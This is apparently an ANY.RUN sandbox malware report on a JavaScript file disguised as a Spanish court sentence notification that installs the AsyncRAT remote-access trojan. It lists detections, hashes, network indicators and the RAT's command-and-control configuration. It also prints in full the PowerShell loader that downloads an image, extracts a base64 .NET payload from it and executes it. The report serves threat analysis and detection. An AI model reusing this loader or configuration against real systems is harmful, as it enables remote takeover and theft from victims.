File name:

Notificacion_de_sentencia_Nro_71_oficio_Nro_90_Juzgados_Ejecucion_de_Penas_y_Medidas_de_Seguridad_Agradecemos_confrmar_recibido.js

Full analysis: https://app.any.run/tasks/f72f58de-dad1-41c7-82b2-f09b4a614131
Verdict: Malicious activity
Threats:

AsyncRAT is a RAT that can monitor and remotely control infected systems. This malware was introduced on Github as a legitimate open-source remote administration software, but hackers use it for its many powerful malicious functions.

Malware Trends Tracker     >>>
Analysis date: January 16, 2024, 18:48:14
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
rat
asyncrat
remote
Indicators:
MIME: text/plain
File info: Little-endian UTF-16 Unicode text, with very long lines, with CRLF line terminators
MD5:

33C6BB2F168415B2F7EF4E4826533DD3

SHA1:

B8A0228D43114C26A7074A3E7B15B66232B5B9D1

SHA256:

51475BF2227E8E8CEA02626B0193345DC2CDB1F7FD33697CF748F7130E40DAAF

SSDEEP:

384:2RmoYDYRDF4t4BQpRODl1j2NdFqQTmq4nm/VC0LXVCI:Ho8qDiaBkCKXkcym/V5LXV3

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Uses base64 encoding (SCRIPT)

      • wscript.exe (PID: 2080)

    • ASYNCRAT has been detected (SURICATA)

      • RegAsm.exe (PID: 1796)

    • ASYNCRAT has been detected (YARA)

      • RegAsm.exe (PID: 1796)

  • SUSPICIOUS

    • Creates XML DOM element (SCRIPT)

      • wscript.exe (PID: 2080)

    • Script creates XML DOM node (SCRIPT)

      • wscript.exe (PID: 2080)

    • Creates a Stream, which may work with files, input/output devices, pipes, or TCP/IP sockets (SCRIPT)

      • wscript.exe (PID: 2080)

    • Access the System.Security .NET namespace (SCRIPT)

      • wscript.exe (PID: 2080)

    • Reads data from a binary Stream object (SCRIPT)

      • wscript.exe (PID: 2080)

    • Sets XML DOM element text (SCRIPT)

      • wscript.exe (PID: 2080)

    • Writes binary data to a Stream object (SCRIPT)

      • wscript.exe (PID: 2080)

    • Reads the Internet Settings

      • wscript.exe (PID: 2080)
      • powershell.exe (PID: 532)

    • Probably download files using WebClient

      • wscript.exe (PID: 2080)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 2080)

    • The Powershell connects to the Internet

      • powershell.exe (PID: 532)

    • Starts POWERSHELL.EXE for commands execution

      • wscript.exe (PID: 2080)

    • Unusual connection from system programs

      • powershell.exe (PID: 532)

    • Reads settings of System Certificates

      • RegAsm.exe (PID: 1796)

    • Connects to unusual port

      • RegAsm.exe (PID: 1796)

  • INFO

    • Manual execution by a user

      • wscript.exe (PID: 2080)

    • Checks supported languages

      • RegAsm.exe (PID: 1796)

    • Reads the computer name

      • RegAsm.exe (PID: 1796)

    • Reads the machine GUID from the registry

      • RegAsm.exe (PID: 1796)

    • Reads Environment values

      • RegAsm.exe (PID: 1796)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

AsyncRat

(PID) Process(1796) RegAsm.exe
C2 (1)mayocap12ok.duckdns.org
Ports (1)8004
Botnet161616
Version1.0.7
Options
AutoRunfalse
Mutexkojsdiosad
InstallFolder%AppData%
BSoDfalse
AntiVMfalse
Certificates
Cert1MIICMDCCAZmgAwIBAgIVALv/XcwQnmQIwA3z8xW4ctTaHXVBMA0GCSqGSIb3DQEBDQUAMGQxFTATBgNVBAMMDERjUmF0IFNlcnZlcjETMBEGA1UECwwKcXdxZGFuY2h1bjEcMBoGA1UECgwTRGNSYXQgQnkgcXdxZGFuY2h1bjELMAkGA1UEBwwCU0gxCzAJBgNVBAYTAkNOMB4XDTIyMTAyMjIxNTY1NVoXDTMzMDczMTIxNTY1NVowEDEOMAwGA1UEAwwFRGNSYXQwgZ8wDQYJKoZIhvcNAQEBBQADgY0A...
Server_Signatureffpzjf4TlEJIm/QggcUCB0Fxyfy7IyimmUap0/8ryWGHO0T2c5FPuyy72FwmBTwNd4WDHNuvvvjrtm0RrPwN/5uIR1/VIZBSsDem7twm14uDfQshNAcn8Y4jKBODK+PQZdo0zG9IwqrH0O+dWKMumC3zlxMpFTs8iPQXrSk9okI=
Keys
AES09cf84cfbf1bad810ba46f846752489e170189099287149b40e707db93d681c6
SaltDcRatByqwqdanchun
No Malware configuration.

TRiD

.txt | Text - UTF-16 (LE) encoded (66.6)
.mp3 | MP3 audio (33.3)
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
40
Monitored processes
4
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start notepad.exe no specs wscript.exe no specs powershell.exe #ASYNCRAT regasm.exe

Process information

PID
CMD
Path
Indicators
Parent process
532"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/691/257/original/js.jpg?1702591609';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('ClassLibrary3.Class1');$method = $type.GetMethod('Run').Invoke($null, [object[]] ('0/uR6o8/d/ee.etsap//:sptth' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
1796"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft .NET Assembly Registration Utility
Exit code:
0
Version:
4.8.3761.0 built by: NET48REL1
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\regasm.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\apppatch\acgenral.dll
c:\windows\system32\sechost.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
AsyncRat
(PID) Process(1796) RegAsm.exe
C2 (1)mayocap12ok.duckdns.org
Ports (1)8004
Botnet161616
Version1.0.7
Options
AutoRunfalse
Mutexkojsdiosad
InstallFolder%AppData%
BSoDfalse
AntiVMfalse
Certificates
Cert1MIICMDCCAZmgAwIBAgIVALv/XcwQnmQIwA3z8xW4ctTaHXVBMA0GCSqGSIb3DQEBDQUAMGQxFTATBgNVBAMMDERjUmF0IFNlcnZlcjETMBEGA1UECwwKcXdxZGFuY2h1bjEcMBoGA1UECgwTRGNSYXQgQnkgcXdxZGFuY2h1bjELMAkGA1UEBwwCU0gxCzAJBgNVBAYTAkNOMB4XDTIyMTAyMjIxNTY1NVoXDTMzMDczMTIxNTY1NVowEDEOMAwGA1UEAwwFRGNSYXQwgZ8wDQYJKoZIhvcNAQEBBQADgY0A...
Server_Signatureffpzjf4TlEJIm/QggcUCB0Fxyfy7IyimmUap0/8ryWGHO0T2c5FPuyy72FwmBTwNd4WDHNuvvvjrtm0RrPwN/5uIR1/VIZBSsDem7twm14uDfQshNAcn8Y4jKBODK+PQZdo0zG9IwqrH0O+dWKMumC3zlxMpFTs8iPQXrSk9okI=
Keys
AES09cf84cfbf1bad810ba46f846752489e170189099287149b40e707db93d681c6
SaltDcRatByqwqdanchun
2080"C:\Windows\System32\WScript.exe" "C:\Users\admin\Desktop\f72f58de-dad1-41c7-82b2-f09b4a614131.js" C:\Windows\System32\wscript.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2184"C:\Windows\system32\NOTEPAD.EXE" "C:\Users\admin\Desktop\f72f58de-dad1-41c7-82b2-f09b4a614131.txt"C:\Windows\System32\notepad.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Notepad
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\notepad.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
Total events
8 115
Read events
8 079
Write events
36
Delete events
0

Modification events

(PID) Process:(2080) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(2080) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(2080) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(2080) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(532) powershell.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\182\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(1796) RegAsm.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\182\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
Executable files
0
Suspicious files
8
Text files
0
Unknown types
0

Dropped files

PID
Process
Filename
Type
532powershell.exeC:\Users\admin\AppData\Local\Temp\kwnl1ztj.svc.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
532powershell.exeC:\Users\admin\AppData\Local\Temp\Cab390D.tmpcompressed
MD5:AC05D27423A85ADC1622C714F2CB6184
SHA256:C6456E12E5E53287A547AF4103E0397CB9697E466CF75844312DC296D43D144D
532powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCachebinary
MD5:6675EDE59684F4A119D2E5DA282AFBE6
SHA256:5026C5EE8FA9ACB21718BF1FAD563C0A3FD5BC79327611FDF9C4ABD2647CE829
532powershell.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506compressed
MD5:AC05D27423A85ADC1622C714F2CB6184
SHA256:C6456E12E5E53287A547AF4103E0397CB9697E466CF75844312DC296D43D144D
532powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:446DD1CF97EABA21CF14D03AEBC79F27
SHA256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
532powershell.exeC:\Users\admin\AppData\Local\Temp\Tar390E.tmpbinary
MD5:9C0C641C06238516F27941AA1166D427
SHA256:4276AF3669A141A59388BC56A87F6614D9A9BDDDF560636C264219A7EB11256F
532powershell.exeC:\Users\admin\AppData\Local\Temp\zpeigvn4.vig.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
532powershell.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506binary
MD5:CAFFE9F427B7ECC52D5223A288900861
SHA256:0DD9548D913E76CFFF398575704EF98770F53FD0DF47A07FA37DF7A9B5D82E28
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
8
DNS requests
4
Threats
6

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
532
powershell.exe
GET
200
23.48.23.61:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?ef138a03141fca08
unknown
compressed
65.2 Kb
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
—
—
—
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
1080
svchost.exe
224.0.0.252:5355
—
—
—
unknown
532
powershell.exe
188.114.97.3:443
uploaddeimagens.com.br
CLOUDFLARENET
NL
unknown
532
powershell.exe
23.48.23.61:80
ctldl.windowsupdate.com
Akamai International B.V.
DE
unknown
1796
RegAsm.exe
172.111.134.55:8004
mayocap12ok.duckdns.org
Voxility LLP
US
unknown

DNS requests

Domain
IP
Reputation
uploaddeimagens.com.br
  • 188.114.97.3
  • 188.114.96.3
shared
ctldl.windowsupdate.com
  • 23.48.23.61
  • 23.48.23.51
  • 23.48.23.18
  • 23.48.23.33
  • 23.48.23.67
whitelisted
paste.ee
  • 188.114.97.3
  • 188.114.96.3
shared
mayocap12ok.duckdns.org
  • 172.111.134.55
unknown

Threats

PID
Process
Class
Message
532
powershell.exe
Potential Corporate Privacy Violation
ET POLICY Pastebin-style Service (paste .ee) in TLS SNI
1080
svchost.exe
Potentially Bad Traffic
ET INFO DYNAMIC_DNS Query to a *.duckdns .org Domain
1080
svchost.exe
Misc activity
ET INFO DYNAMIC_DNS Query to *.duckdns. Domain
1796
RegAsm.exe
Domain Observed Used for C2 Detected
REMOTE [ANY.RUN] AsyncRAT SSL certificate
1796
RegAsm.exe
Domain Observed Used for C2 Detected
ET MALWARE Observed Malicious SSL Cert (AsyncRAT)
1796
RegAsm.exe
Malware Command and Control Activity Detected
REMOTE [ANY.RUN] AsyncRAT Successful Connection
No debug info
Interactive malware hunting service ANY.RUN
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ANY.RUN
Reports
Notificacion_de_sentencia_Nro_71_oficio_Nro_90_Juzgados_Ejecucion_de_Penas_y_Medidas_de_Seguridad_Agradecemos_confrmar_recibido.js